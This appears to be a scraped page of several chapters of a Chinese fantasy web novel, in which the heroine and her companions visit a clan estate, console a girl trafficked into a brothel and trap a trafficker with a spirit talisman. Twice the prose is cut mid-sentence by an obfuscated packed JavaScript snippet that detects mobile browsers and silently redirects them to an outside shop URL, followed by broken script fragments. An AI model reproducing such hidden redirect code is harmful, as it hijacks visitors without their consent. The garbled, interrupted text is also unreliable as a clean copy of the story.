花蕊见乔天璇坐在后排,她也坐到了后排去,与乔天璇坐在同一排。 见状,洛侠只好坐到了乔天璇前面一排的桌案。 还剩下最后一个前排的位置,祝源见这位置是花蕊前面一排的桌案,便也安心落座了。 对面叶天芯的母亲看到了乔天璇一行人,对着几人都感激地笑了笑。 乔天璇从前面挡着自己的洛侠身后探出头来,对着叶天芯的母亲微微一笑,以表礼貌。 姜景和的两个小妾注意到了乔天璇几人和叶天芯母亲无声的交流动作,她们的目光在乔天璇几人和叶天芯的母亲身上来回停留,眼中似有一丝不屑,但也含着些许羡慕。 桌上已经摆好了的的佳肴飘香四溢,乔天璇闻到之后忍不住咽了口口水。 “好香!”花蕊的目光紧盯着佳肴。 “看,太子殿下来了!”祝源小声惊喜着,转头望向了主席位的方向。 乔天璇瞟了一眼祝源所望的方向,看到陈渊龙和姜景和一左一右坐在了主席位。 姜景和见所有的席位已经坐满,便道:“既然大家都到齐了,那就开宴吧!上歌舞!” 话音刚落,姜府中的一众歌舞女子就从两边的屏风后迈着舞步缓缓走出,来到中间的位置歌舞起来。 席间,乔天璇多次感觉到陈渊龙朝自己投来的目光,但由于自己坐在后排,乔天璇只顾着埋头吃东西,时不时还与一旁的花蕊交流一下佳肴的味道如何,完全不管陈渊龙朝自己投来的目光。 “哎,这个酥肉好好吃!”乔天璇转头低声对花蕊说着。 “嗯嗯嗯嗯嗯!好吃!”花蕊塞了满口的酥肉,口齿不清地回应。 祝源忍不住回头看了一眼花蕊,却被塞了满口酥肉的花蕊瞪得只得转回了头去。 晚宴过后,乔天璇满脑子只记得佳肴的味道,完全忽略了晚宴时陈渊龙和姜景和都说了些什么。 在回客房的路上,花蕊摸了摸自己被食物撑起来了一些的肚子,打了一个闷嗝,无奈道:“哎呀,今晚吃得有点多了,睡觉前我可要好好锻炼锻炼才行,要不然明早起来我就要长胖了。” 乔天璇道:“那我今晚睡前到你房间里和你一起锻炼,这样明早起来我们都不会长胖了。” 虽然表面是这样说,但乔天璇想要这样做的原因其实还有一个,那就是让陈渊龙在睡前没有机会来找独处的自己。 自己与花蕊待在同一个房间里,一起锻炼一起聊天,那就没有别的男人什么事了,更何况陈渊龙与自己连普通朋友的关系都不是。 “好呀好呀!”花蕊高兴极了。 妇人感叹道:“今夜如此丰盛的晚宴我这辈子还是第一次吃到,真是托了你们的福了。” 乔天璇连忙道:“哪里哪里,分明就是托了你女儿的福啊,我们只是帮了一点儿小忙罢了。” 说到妇人的女儿,乔天璇心中终归是有些心疼叶天芯。 花蕊道:“我也是第一次吃到这样的晚宴,这家人的厨子手艺可真好。” 乔天璇道:“那可不,这可是九宸国七大世家之一的琅琊姜氏,琅琊一带最好的厨子怕是都在姜家了。” 花蕊惊道:“是吗?!那还真是霸道,居然把这一带最好的厨子都招来了!” “毕竟是世家嘛,在‘吃’这一块肯定是不会差的。”乔天璇回想起曾经的乔家也是把淮南一带最好的厨子都招到了府中。乔万山为了让这些厨子心甘情愿地留在乔府,除了给出相当丰厚的工钱之外,还把厨子们的孩子上私塾的学费都给包了。 几人一回到客房的院子,乔天璇就拉着花蕊回到了花蕊住的房间,点燃了桌上放着的灯烛。 乔天璇先是学着花蕊靠墙站了一会儿,随即开始原地跑步,跑累了就绕圈子走路。 至于花蕊那倒立的本事,乔天璇实在是学不来,只能眼巴巴地看着花蕊倒立。 锻炼得有些累了,乔天璇靠到窗边往外瞅了瞅。 月光下的院子里空无一人,中间那座亭子也没有陈渊龙的身影。 乔天璇想着现在时辰已经不早了,便打算跟花蕊说自己想回自己住的房间休息了。 刚一转头,乔天璇就看到花蕊在空中翻了个筋斗。 “那个……我有些累了,想回去睡觉。”乔天璇看着翻完筋斗后稳稳落地的花蕊,实在是佩服她居然没把晚饭从口中翻出来。 “好吧,晚安。”花蕊有些失落,满眼不舍。 乔天璇于心不忍,又道:“我在你这儿睡也是一样的。” 花蕊当即两眼一亮,欢喜道:“真的?!那云天今晚就睡在我这儿吧!” 话音刚落,乔天璇忽然听到院子里传来了什么东西被折断的声音,发出“咔嚓”一声响。 乔天璇立马转身看向了窗外。 只见妇人走向了院门口,她许是不小心踩断了院中矮树底下的枯枝,被她踩断的枯枝便发出了方才乔天璇听到的声音。 “这么晚了,叶天芯她娘是想去哪儿?”乔天璇有些纳闷。 花蕊听到乔天璇的疑问,也赶到了窗边,与乔天璇一同看着妇人向院门口走去的身影。 “她该不会是想偷偷去看自己的闺女吧?”花蕊凑在乔天璇的耳边。 “也许是?”乔天璇亦有这种猜想。 这时,陈渊龙所住的房间突然亮起了灯火。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025612|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇人向院门口走去的脚步忽地一滞。 陈渊龙打开了窗,对妇人道:“这么晚了,不知夫人想要去何处?” 妇人连忙道:“我吃得有点撑,想到院外走走。” 陈渊龙道:“那夫人别走太远,当心在姜府里迷路了。” 妇人道:“多谢太子殿下提醒,我知道了。” 看着妇人离开了院子,乔天璇不禁转眼望向了陈渊龙。 陈渊龙这会儿也站在窗户前,房中的灯火映着他挺拔的身形,虽然因为背光,看不太清脸,但乔天璇已然能想象得出陈渊龙那暗藏疑惑的冷漠神情。 “吱呀——” 隔壁房间突然传来祝源开窗的声音。 花蕊有些好奇,她探出头去瞧了瞧祝源所住的房间被打开的窗户,通过窗户见到他房间里亮着灯火,当即小声道:“书呆子,你白天的时候不是说过你晚上不读书的吗? 祝源听到花蕊的说话声,他也探出头看向了花蕊。 乔天璇则赶紧退到了窗户旁的墙边,不想让陈渊龙注意到自己,同时她也注意到了洛侠的房间并没有亮着灯,估计这会儿已经睡了。 祝源小声回应道:“哎呀,我没有读书,我只是一时半会儿睡不着,就打算起身看会儿书,没有读出声来。” 花蕊道:“那你刚刚看到叶天芯她娘离开院子了吗?” 祝源道:“看到了。” 花蕊道:“你说她会不会去找叶天芯?” 祝源道:“我不知道。” “啧,没用的书呆子!”花蕊说完这句话就把头从窗外缩了回来,顺手“啪”一声关上了窗。 乔天璇道:“玉心,你刚刚有注意到陈渊龙吗?” “太子殿下吗?”花蕊连忙转身打开窗朝外面望了一眼。 顿时,祝源的声音再次响起:“阿蕊?” “啪!” 花蕊立马又关上了窗,转回身对乔天璇道:“太子殿下好像在他房间的窗前看着我们这边。” 乔天璇心头一紧,道:“不理他,我们赶紧熄灯睡觉吧。” “好。”花蕊走向了桌子,吹灭了灯烛。 房间立即陷入一片黑暗。 两人几步来到榻上躺下,身子陷在了榻上铺着的柔软被褥中。 “希望明早醒来不会长胖。”花蕊嘀咕着,扯过身旁乔天璇的一条胳膊抱着睡觉了。 乔天璇看向了窗户,隐隐约约听见隔壁房间的祝源在无奈地仰头望月小声吟诗,似极了一个惆怅的失意者。 翌日,乔天璇许是由于前一日睡了太多时间,很早就醒了过来,发现天才刚蒙蒙亮。 外面传来叽叽喳喳的清脆鸟鸣声,十分悦耳。 身旁的花蕊这会儿睡得还很沉,抱着乔天璇胳膊的双手也很松,乔天璇便将自己那条被花蕊抱着睡觉的胳膊给轻轻抽了出来。 随后,乔天璇起身开了门,想到院子里走走。 然而,乔天璇这一开门就看到了院子中间那座亭子里坐着一个垂头丧气的女人。 “夫人?”乔天璇慢步走向了妇人,不知叶天芯的母亲为何会大清早的坐在这个亭子里。 听到了乔天璇唤自己的声音,妇人抬起头看向了乔天璇,眼下的黑眼圈有些浓重。 乔天璇加快脚步走向了妇人,来到她的身旁坐下,道:“夫人起得好早啊。” 妇人摇了摇头,垂头丧气道:“我昨晚根本没睡,一直守在我闺女房间外的角落处,却迟迟不见姜大公子来我闺女的房间里与她……唉,我闺女的房间亮了一整晚的灯,他就这么让我闺女独守空房了一整晚。” “独守空房?”乔天璇倒是不觉得意外。 毕竟她前一日在大街上时就亲耳听到过姜景和嫌弃叶天芯扫他的兴。 乔天璇小心翼翼道:“夫人,那我们要不要去看看叶姑娘?去……安慰一下她?” 38. 琅琊姜氏(六) “我闺女肯定也已经一晚上没睡了,先让她好好休息一下吧,晚点我们再去。”妇人叹息着,满脸心疼。 “嗯……”乔天璇心中有些不安。 若是来姜府给姜景和当妾如此不受宠,岂不也是一种煎熬? 而昨晚妇人以“吃得有点撑,想到院外走走”的理由出了院子,其实就是放心不下女儿,便直奔叶天芯所住的地方去了。 “徒儿。” 洛侠的声音忽然从一旁不远处传来。 乔天璇抬头一看,见到洛侠从房中走了出来,连忙道:“师父!” 洛侠也走到了亭子中,坐在了乔天璇的身旁,道:“徒儿应当是昨日睡多了,今日便起了个大早。” “师父说得还真准啊。”乔天璇不好意思地挠了挠头。 洛侠道:“最近没怎么练剑吧?” “我……是啊。”乔天璇越说越小声。 最近她的确没怎么练剑。 以往在仙落岛的时候,乔天璇每天早上都会和洛侠一起在屋外的桃林中练剑,有时候晚上睡前也会练一会儿。 倒不是说有多用功,只是单纯的因为太无聊了。 仙落岛说到底就是个海岛,并不像内陆那样繁华,好玩的东西自然也比不上内陆。久而久之,练剑竟是成了乔天璇用来消磨时间的事情。 洛侠道:“为师想看看你的剑法有无退步。” “当然没有!”乔天璇当即站起身走出了亭子,取出缠在腰间的削魂舞了起来。 几招几式之间,院中矮树的落叶便被剑气片片带起,与剑一同飞舞砍刺。 洛侠忽地也拔出了腰间的惜今,出了亭子跃至乔天璇的身旁,舞着同样的剑招。 一时间,整个院子里的落叶像是群鸟齐飞,又似是海底鱼群翻涌。 一师一徒的剑气不同,劲道也不一样,却都同样令人胆寒,招式又快又狠,招招都是杀人技,看得亭子中的妇人眼睛都直了。 “这招下手再狠一点。”洛侠忽地收回了手中的惜今入鞘,靠近乔天璇的身后,一手搭在乔天璇的肩膀上,另一手抓着乔天璇握剑的手,纠正着乔天璇的招式动作。 无数被剑气带到空中的落叶再次缓缓落了一地,有的落叶滑过锋利的剑刃,一瞬间就被削成两半。 乔天璇顺着洛侠的教导,两人一剑,以此刻空中还未落地的无数落叶为假想敌,以极快的出剑速度将其削了个粉碎,散了一地的叶沫子。 “看来徒儿并没有退步,只是在该出狠招的时候招出得还不够狠。要是万一遇上了在交手中向你求饶的大恶之徒,你必须得下得了狠手才行。”洛侠稍稍松开了乔天璇。 “好,我会注意的。”乔天璇转头看向了洛侠,余光正好瞟到了此时正站在房间的窗户前的陈渊龙。 陈渊龙自然是在看着乔天璇,但他也不可避免地看到了与乔天璇挨得极近的洛侠。 乔天璇不以为然。 洛侠是自己的师父,他教导自己剑法的时候与自己挨得近一些又如何了?这不正是师父关心自己和疼爱自己的表现吗? “厉害啊,你们师徒二人的剑法真是太厉害了,我今日也算是开眼界了。”妇人对乔天璇和洛侠两人满眼敬佩之意。 乔天璇连忙对妇人道:“夫人过奖了。” “的确厉害。”陈渊龙从房间中走了出来,向着乔天璇而去。 妇人赶紧道:“太子殿下早。” “早。”陈渊龙对着妇人点了点头。 乔天璇转身面向了陈渊龙,终于与陈渊龙对视上了。 她刚练完招式狠辣的剑招,眼中的杀气还未完全退去。 陈渊龙那双冷漠的黑眸似是想要冰冻住乔天璇眼中的杀气,可乔天璇自然不会让陈渊龙得逞。她收敛了眼中的杀气,笑着对陈渊龙道:“太子殿下,不知昨夜休息得可好?” 陈渊龙道:“还不错。” 乔天璇道:“那就好。” 陈渊龙看了一眼洛侠,心平气和道:“洛兄当真是位负责的师父,一大清早就起身来教徒弟练剑,真是辛苦了。” 洛侠道:“太子殿下过奖了。不过是师徒之间的日常罢了,身为师者,自然是要时刻关心自己的徒儿。” 陈渊龙漆黑的眼眸不禁一暗,更显阴沉。 乔天璇心中明白洛侠说的话虽然朴实无华,但在陈渊龙听起来,洛侠这话中的内容怕是有些刺耳。也不知洛侠只是在道出心中所想,还是故意要这样说。因为他其实只说“太子殿下过奖了”这一句,便已足够用来回答陈渊龙刚刚对他说的话了。 “哈欠——” 花蕊伸着懒腰从房间里走了出来,看到亭子里的几人,顿时清醒了过来,惊道:“原来是你们!” “什么原来是我们?”乔天璇不太明白花蕊在说什么。 “原来刚刚那些乱七八糟的动静是你们搞出来的。”花蕊先是看了看一地的叶沫子,又看了看乔天璇手中的削魂,再看了看方才在对峙的陈渊龙和洛侠,最后目光落到了亭子中的妇人身上,好奇道:“夫人也起得好早啊!话说你们怎么起得都这么早?” 乔天璇将手中的削魂收回了鞘中,快步走向了花蕊,道:“玉心,昨晚姜大公子让叶姑娘独守空房了。” “什么?!”花蕊不可思议道:“把姑娘领进家门之后就不理姑娘了,他还是个有担当的男人吗?” “什么有担当的男人啊?”祝源眯着还未睡醒的双眼走出了房间。 花蕊没声好气道:“昨晚姜大公子让叶姑娘独守空房了,书呆子。” “啊?”祝源立即清醒了三分。 乔天璇见整个院子的人都醒了,她对妇人道:“现在大家都已经醒了,也知道昨晚姜大公子让叶姑娘独守空房的事情了。夫人,要不我们一起去叶姑娘那儿瞧瞧吧?这样你也能安心一些。” 妇人看了一圈众人,终于也点了头,道:“好,那我们就一起去吧。” 回想着昨日从叶天芯的院子那儿走过来的路线,乔天璇几人倒着路线走了回去。 姜府实在是大,几人走了好一会儿才来到叶天芯的院子。 步入院子后,妇人赶忙来到房前轻轻叩了叩房门。 “谁?” 屋内传来丫鬟的声音。 妇人道:“我是叶天芯的母亲。” 沉默了一息后,房门被丫鬟打开了。 乔天璇几人跟着妇人一同来到了屋里,坐在榻上的叶天芯眼前一亮,当即扑到了妇人身上,一把搂住了她,欢喜道:“娘!娘!!!” 看到叶天芯并无任何伤心或愤怒的情绪,妇人忍不住问:“闺女啊,你昨晚是不是独守空房一整宿了?不要紧吧?” 叶天芯摇了摇头,高兴道:“姜大公子没来我这儿,我可真是太开心了!” “开心?”妇人震惊又意外。 叶天芯道:“那个姜大公子根本就不喜欢我,我对他也谈不上喜欢。而且我听说了,是太子殿下非要他赎我出青楼不可的。太子殿下还指明了他得把我用轿子抬来,我便理所当然成了他的妾了。” 闻言,乔天璇不由得看向了陈渊龙。 若是陈渊龙当时没多提一嘴要姜景和去准备轿子,或许叶天芯就只是被姜景和从青楼中赎出来而已。现在倒好,顺势发展,叶天芯成了姜景和的妾。 妇人愣愣地看着自己的女儿,刚想要说些什么,叶天芯又欢喜道:“不过我能被姜大公子用八抬大轿的方式带出青楼还是很有面子的!毕竟青楼的老鸨待我不好,青楼里的那些姐妹也看不起我,结果我却能被姜大公子花一百两黄金赎出来,八抬大轿接到姜府。而待我不好,看不起我的那些青楼姐妹只能够眼巴巴地看着我离开,羡慕得眼珠子都要瞪出来了,可她们之后还得继续在青楼里接客,光是想想我就觉得解气,谁让她们全都对我不客气!” 见到叶天芯满脸欣喜得意的表情,乔天璇心中终于得到了一丝安慰。 如此看来,陈渊龙当时让姜景和去准备轿子也并非是完全错误的决定。 只不过这个一时光鲜亮丽的面子真的有那么重要吗?后半辈子给一个不喜欢自己的人当妾,这样的代价会不会太大了些? 陈渊龙许是也对叶天芯有愧,他对叶天芯道:“叶姑娘,你就这么仓促突然地入了姜府,那你还有什么在入姜府之前未完成的心愿吗?” “心愿?”叶天芯的眼神忽然变得沉重了起来。 “没事,说吧,他就是太子殿下,一定可以帮叶姑娘完成心愿的!”乔天璇不嫌事儿大地抬手指向了陈渊龙。 叶天芯的目光瞬间就移到了陈渊龙的身上。 当然,房间中的其余人也都看向了陈渊龙。 伺候叶天芯的丫鬟更是连大气都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025613|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢出,目光不断地在叶天芯和陈渊龙的身上紧张地来回移动。 “太子殿下好!”叶天芯慌忙要向陈渊龙下跪。 “不必不必。”陈渊龙立马上前去扶住了叶天芯。 叶天芯抬着头,眼巴巴地望着陈渊龙,悲苦道:“太子殿下,您让我能被赎出青楼的恩情我永远都不会忘的!可若是说到还未完成的心愿,那我必然是希望那个拐了我后又将我卖入青楼的坏人死!” 陈渊龙道:“让那个坏人死,仅此而已?” 叶天芯微微一顿,忽然恶狠狠道:“若是可以,让那个混账碎尸万段都不足为过!” 陈渊龙道:“好,可以。只是不知叶姑娘能否说说被拐卖的经过?好为我们提供一点寻人的线索。” 叶天芯缓缓低下了头,先是沉默了片刻,随后便语气平静地述说起了自己在被拐卖时发生的事情。 那是两个月前的一次灯会。当晚,叶天芯的父母都没有空,便让哥哥带着叶天芯去逛灯会。 两人在路过一处卖炸豆腐串的摊位时,叶天芯停下了脚步,想要买一串炸豆腐串来吃。 哥哥立马付了钱,给叶天芯买了一串炸豆腐。 叶天芯拿着炸豆腐串边走边吃,吃得美滋滋。 灯会上的花灯大多都很好看,也有一些灯特别有意思,做成了鱼、鸡、莲花、小船等等形状。 在一处花灯不多,光比较暗的地方,叶天芯见到靠近角落处有一个特别华丽的大莲花灯,便立马跑上前去仔细看了看。 眼前的这个华丽大莲花灯足足有两辆并在一起的轿子那么大,粉色的花瓣一瓣瓣一层层散开,是一朵还未彻底盛开的莲花。 叶天芯本就吃炸豆腐串吃得高兴,蹦蹦跳跳的,一下子就转到了大莲花灯的另一边。 大莲花灯挡住了哥哥看着叶天芯的视线,他无奈地笑道:“芯妹妹,你走慢点啊,哥哥看不到你啦。” 说着,哥哥沿着大莲花灯走向了叶天芯。 可此时的叶天芯只能隐隐约约听见哥哥的声音了。 就在刚刚她转到了大莲花灯的背面时,她毫无防备地被一个人用揉成一团的布猛地塞住了嘴巴,又猝不及防被一个黑布袋子套住了脑袋,眼前顿时一片黑暗。 挣扎中,叶天芯手中被吃了大半的炸豆腐串掉落在了地上。 可那人的力气实在是太大了,叶天芯根本反抗不了,直接就被那人给绑走了。 塞在叶天芯嘴巴里的布许是有迷药,叶天芯很快就昏迷了过去。 再醒来时,叶天芯已经在青楼的地下室里了。 这会儿她的口中倒是没再被塞着揉成一团的布,头上也没被套着黑布袋子了。只是她被用麻绳结结实实地绑着,绳子紧得可怕,勒得她动弹不得。 循着说话声,叶天芯转头看到身旁有个身高将近八尺,肤色略黑,一头黑色干草似的头发披散着,戴了一个遮着一只眼的黑眼罩的男人正在与老鸨做交易。 叶天芯即便脑子再不清醒也能清楚自己就是这场交易的“货物”。 昏暗的烛光下,老鸨黑着脸与男人做成了这笔交易。 男人收好了钱,满意地离去。 随后,老鸨先是用青楼里不会弄出皮肉伤的打法将叶天芯打了一顿,再给叶天芯换上单薄靓丽的衣裙,逼着叶天芯接客。 叶天芯永远都忘不了自己的初夜是被老鸨以五十两银子的价格卖给了一个从京城来到此地玩耍的京兆戚氏二公子。 这戚家二公子也就样貌还行,但玩得极花,差点儿没把叶天芯给活活玩死。 “戚家二公子?”陈渊龙皱眉思索了一下。 “太子殿下认识?”乔天下倒是有些好奇戚世才的二弟叫什么名字。 陈渊龙道:“戚翎天。” “哦。”乔天璇故作漫不经心地应了一声,心想这戚世才的二弟也是个不让人省心的浪荡公子啊。 花蕊思索道:“身高将近八尺,肤色略黑,一头黑色干草似的头发披散着,戴了一个遮着一只眼的黑眼罩的男人……特征很明显,应该还蛮好找的。” 陈渊龙道:“我现在就去跟姜景和说说这件事,好让叶姑娘能出府给我们带路到那晚的事发地。” “去吧,等着太子殿下的好消息。”乔天璇倒是清楚只要陈渊龙去向姜景和提这个要求,那姜景和就没有不答应的可能。 39. 琅琊姜氏(七) 妇人看着陈渊龙去找姜景和的背影,激动道:“多谢太子殿下!” 陈渊龙头也不回道:“不必。” 待陈渊龙彻底离开了众人的视线,乔天璇走近了叶天芯,道:“叶姑娘,你想离开姜府吗?” “不想,这里很好,我很喜欢。”叶天芯摇了摇头。 “可你不是说姜大公子不喜欢你吗?”花蕊凑近了叶天芯,满眼不解。 “他不喜欢我不是更好吗?”叶天芯看着花蕊那双天真无邪的眼睛,乐道:“住在世家大族中,待在自己的院子里,只用享受富贵安乐,不必讨好姜大公子这个所谓的夫君,这些跟我之前过的那些日子相比起来简直就是身处天堂才能享受到的事情。” “原来如此……”花蕊若有所思。 乔天璇回想起叶天芯自述在青楼遭遇的事情,倒是也能理解叶天芯为何会说出这样的一番话来。 “大家都别站着了,坐会儿吧。”叶天芯走到了一张椅子旁,热情地示意大家快坐。 几人在屋内各自找了椅子,坐等陈渊龙,顺便听着妇人和叶天芯母女之间的谈话。 待到陈渊龙再回来时,姜景和正跟在陈渊龙的身后。 屋内的人都站起了身,目光看向了走进屋内的陈渊龙。 陈渊龙的表情依旧冷冷的,姜景和则对着乔天璇几人友好地笑了笑。 乔天璇也对姜景和报以一笑,并道:“姜大公子也想跟我们一起去捉那个拐卖叶姑娘的人贩子吗?” 姜景和神色尴尬道:“是啊,太子殿下都和我说了,没想到叶……爱妾原来是不久前不幸被拐卖到青楼里的姑娘,那干拐卖这活儿的人着实该死。” “的确,该死!十分该死!”花蕊离叶天芯近,姜景和在听到花蕊义愤填膺的语气后,目光下意识看向了花蕊,也无意间扫到了叶天芯。 不知是因为心虚还是因为别的什么,姜景和立马把目光移向了别处。 叶天芯还未换下昨晚穿上的婚服,也未卸下新娘的妆发,再加上她本身就生得俏皮甜美,在姜景和的眼中自然变得格外显眼。 “出去捉坏人的话……还是换一件不那么引人注目的衣服吧。”姜景和虽然没有看着叶天芯,但话却是对叶天芯说的。 “行,有理。”叶天芯立马与丫鬟去了更衣间。 看到叶天芯暂时离开了,姜景和肉眼可见地松了一口气。 乔天璇道:“两个月前的灯会,姜大公子去了吗?” “去了。”姜景和点了点头。 乔天璇道:“那你有在灯会上发现什么可疑的人吗?” 姜景和思索了一下,回忆道:“我记得比较深刻的是当时看到了好几个拿着酒壶聚在一起,喝几口酒之后就说几句胡话的男人。很多人都围了过去看他们的热闹,而且我发现他们并不是一直待在同一个地方的。我从街尾折返时就看到那几个喝酒说胡话的男人不在原来的地方了,只不过围着他们看热闹的人还是不少。当然,我两次路过他们的时候都去瞅了他们一眼。毕竟是热闹嘛,不看白不看。” “这么说来,姜大公子还蛮爱看热闹的。”乔天璇嘴角微微一扬。 “我……”姜大公子神色一僵,刚想辩解些什么,乔天璇便道:“我也爱看热闹,谁会不爱看热闹呢?” “……是、是啊。”姜大公子脸上的表情一松,看着乔天璇的眼神也变得没有那么拘谨了。 “聚在一起喝酒说胡话的男人都长什么样子?”乔天璇饶有兴致地看着姜景和。 姜景和犹豫道:“都是两个月前的事情了,我就只记得他们看起来都挺邋遢的,长相没什么能让人记得住的地方。” “真的?”乔天璇扬了扬眉毛。 “真的。”姜景和回答得很认真。 “好吧。”乔天璇坐回到了椅子上。 祝源顿时惊恐地睁大了双眼,不安地看着乔天璇。 于他而言,太子殿下都没有坐,乔天璇就先坐了,会不会不太好? 可对乔天璇来说,陈渊龙要是敢因为这个事情说自己、怪罪自己,那陈渊龙就不是陈渊龙了,而是一位夺舍了陈渊龙身子的陌生太子。 果然,陈渊龙的脸上并无一丝责怪乔天璇的表情。他走到了乔天璇对面的椅子坐了下来,静静地看着乔天璇。 见状,屋内其余人都默默地重新坐了下来。 姜景和见屋内的椅子只剩下最后一把与洛侠面对面的,便走了过去坐了下来。 洛侠打量着坐在自己对面的姜景和,似是在观察他身上绫罗绸缎的工艺,又似是在估计他这一身的绫罗绸缎要花费多少银子。 姜景和许是觉得有些尴尬,目光立马移向了陈渊龙。 陈渊龙毫不在意别人看自己的目光,仍旧看着乔天璇。 乔天璇低头玩起了手指和指甲,假装没有注意到陈渊龙向自己投来的目光。 一时间,屋内安静极了。 等了片刻之后,叶天芯和丫鬟从更衣间走了出来。 此时,叶天芯已经换上了一袭浅蓝色衣裙,新娘的妆发也卸掉了。 姜景和下意识朝叶天芯望去,眼神不由得一滞。 叶天芯人生得美,自然穿什么都好看。她身上的一袭浅蓝色衣裙虽然朴素了些,但却更能显出她清丽的一面。 “出发,去捉那个拐卖叶姑娘的坏人。”陈渊龙站起了身。 “好!”姜景和连忙也站了起来,目光终于重新看向了陈渊龙。 其余人都站起了身,跟着陈渊龙一同出了房门、院子、姜府。 这会儿的天已经大亮,大街上卖早点的铺子都开了门,阵阵早点的香味扑鼻而来。 跟着叶天芯来到了她被人拐走的那处后,乔天璇发现这地方的巷道七拐八扭且四通八达,若是晚上在这儿迷路了,怕是一时半会儿很难走得出来,更别说被人给神不知鬼不觉拐走了。 几人一起在各个巷子里都走了一回,但并没有什么特别的发现。 “喵……” 乔天璇循声转头望了过去,看到一个暗处的角落里有两只猫在吃一根已经快被啃光了的玉米。 “咦?猫原来还吃玉米啊?”花蕊好奇地走向了猫。 “人吃剩什么喂给猫,猫一般来说都会吃的。”乔天璇也走向了猫。 “喵!喵呜!” 两只猫看到有人靠近,连忙逃窜似的跑走了。 “胆小猫。”花蕊撇了撇嘴。 乔天璇来到了快被猫啃干净了的玉米前,并没有发现这个阴暗的角落里藏了些什么。 祝源走到了花蕊的身旁,笑道:“那两只猫一定是被你给吓到了。” “闭嘴。”花蕊一巴掌捂到了祝源的嘴巴上。 “唔唔唔!唔唔唔唔唔……”祝源连忙想要拿开花蕊捂住了自己嘴巴的巴掌。 乔天璇转头看着在出门前给自己戴上了白色面纱的叶天芯,想着当事人应该能察觉得到更多的东西,便走近了叶天芯,道:“叶姑娘有发现什么线索吗?” 叶天芯摇了摇头,略显失望。 花蕊和祝源走回了队伍中,花蕊捂着祝源嘴巴的巴掌也放了下来。 清晨的巷子人少,隔了老半天才能看到有人从巷子中经过。 几个人走得很近,互相之间小声说话也能听得见。洛侠暗声道:“我们就这么干找肯定不行,得有个诱饵。” “那我来当这个诱饵。”花蕊小声地自告奋勇。 “不行!”祝源当即拉住了花蕊的手。 “为什么不行?我力气大!谁来拐我,我就把谁打晕!”花蕊一把甩开了祝源的手,差点没让祝源被她甩得一屁股跌坐在地上。 “试一试吧。”乔天璇并没有反对花蕊,还从腰间的黑色乾坤袋中掏出一张符贴在了花蕊的右臂上。 花蕊瞧了瞧自己手臂上被乔天璇贴上的符,欢喜道:“保证不会让你们失望!” “好,我们先走远些。”乔天璇信心满满地看了一眼花蕊,转身离了去。 其余几人赶紧跟上了乔天璇,他们之中除了洛侠,剩下的人脸上多少都有些担忧之色。 “灵师大人,你就这么走了?”祝源追问的语气和表情都略带气愤。 “你放心吧,人贩 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终于,转过拐角后,映于众人眼中的画面既在乔天璇的意料之中,也让妇人、叶天芯、姜景和被惊得嘴巴都张大了。 只见乔天璇方才贴在花蕊右臂的符上飞出了无数泛着红光,身子半透明的少女灵魂。 这些少女灵魂的数量实在是太多了,已经占满了这条巷子的上空,并且在不断地往花蕊身旁的一个男子身上涌去,争先恐后地撕咬着男子。 “看来这个畜生已经拐卖了不少少女了啊,而且这里这些被拐卖的少女还只是已经因此事死去了的,那些还没死去的少女现在还不包括在这里面。”乔天璇一步一步走近了花蕊身旁那个在地上疼得打滚惨叫的男子,脸色愈发难看。 “这些……都是因拐卖之事而死的少女,这也太多了……”姜景和不可思议地抬头望着上空,瞳孔都缩了许多。 “我还活着……可我也只是比她们幸运而已,要不然我可能也……”叶天芯说不下去了,情不自禁捂住了自己面纱下的嘴巴。 妇人慌忙紧紧抓着自己女儿的一条胳膊,后怕道:“还好,还活着……活着……” 一行人从无数的少女灵魂下快步走过,来到了疼得满地打滚惨叫的男子身旁。 “这是拐卖你的那个畜生吗?”乔天璇问叶天芯。 “不是。”叶天芯摇了摇头。 “原来还是团伙作案。”乔天璇心中有了底。 花蕊看着自己手臂上的符,疑惑道:“云天,这是怎么做到的?她们都从你的符里面飞出来了,好神奇啊!” 乔天璇瞟了一眼此时已经停止了飞出少女灵魂的符,道:“符上有我的灵力,地上这个畜生背负了无数‘因被他拐卖之事而死’的少女灵魂。只要他碰到了贴着符的人,那么符上的灵力就能将这些少女灵魂从‘暗世界’唤到我们所能见到的‘明世界’中,这也是这些少女灵魂为何会从符上飞出来的原因,符在这其中起到了媒介的作用,少女灵魂们也因此有了攻击害死她们的畜生的灵力。” “啊?那她们这么多灵魂岂不是在同时借用你的灵力攻击这个畜生?”花蕊有些担忧。 “放心,我的灵力多得很,借给这些少女灵魂报复一下害死她们的畜生绰绰有余啦。”乔天璇拍了拍花蕊的肩膀,看向了疼得在地上打滚惨叫的男子,冷笑道:“喂,你还有同伙吗?若是不带我们去找你的同伙,你现在就可以凄惨地死去了。” 男子被少女灵魂们撕咬得痛不欲生,浑身上下到处皮开肉绽,血流不止。他根本忍受不这种痛苦,只得惨嚎叫道:“我不要死!不要死!我带你们啊啊啊啊……我带你们去!” “起来!带路!!!”乔天璇猛踹了两脚疼得满地打滚惨叫的男子。 “好!好!呃啊啊啊好啊啊啊啊啊啊啊……好!”男子强忍着被少女灵魂们撕咬的痛苦,表情扭曲着,艰难地爬起了身。 40. 琅琊姜氏(八) 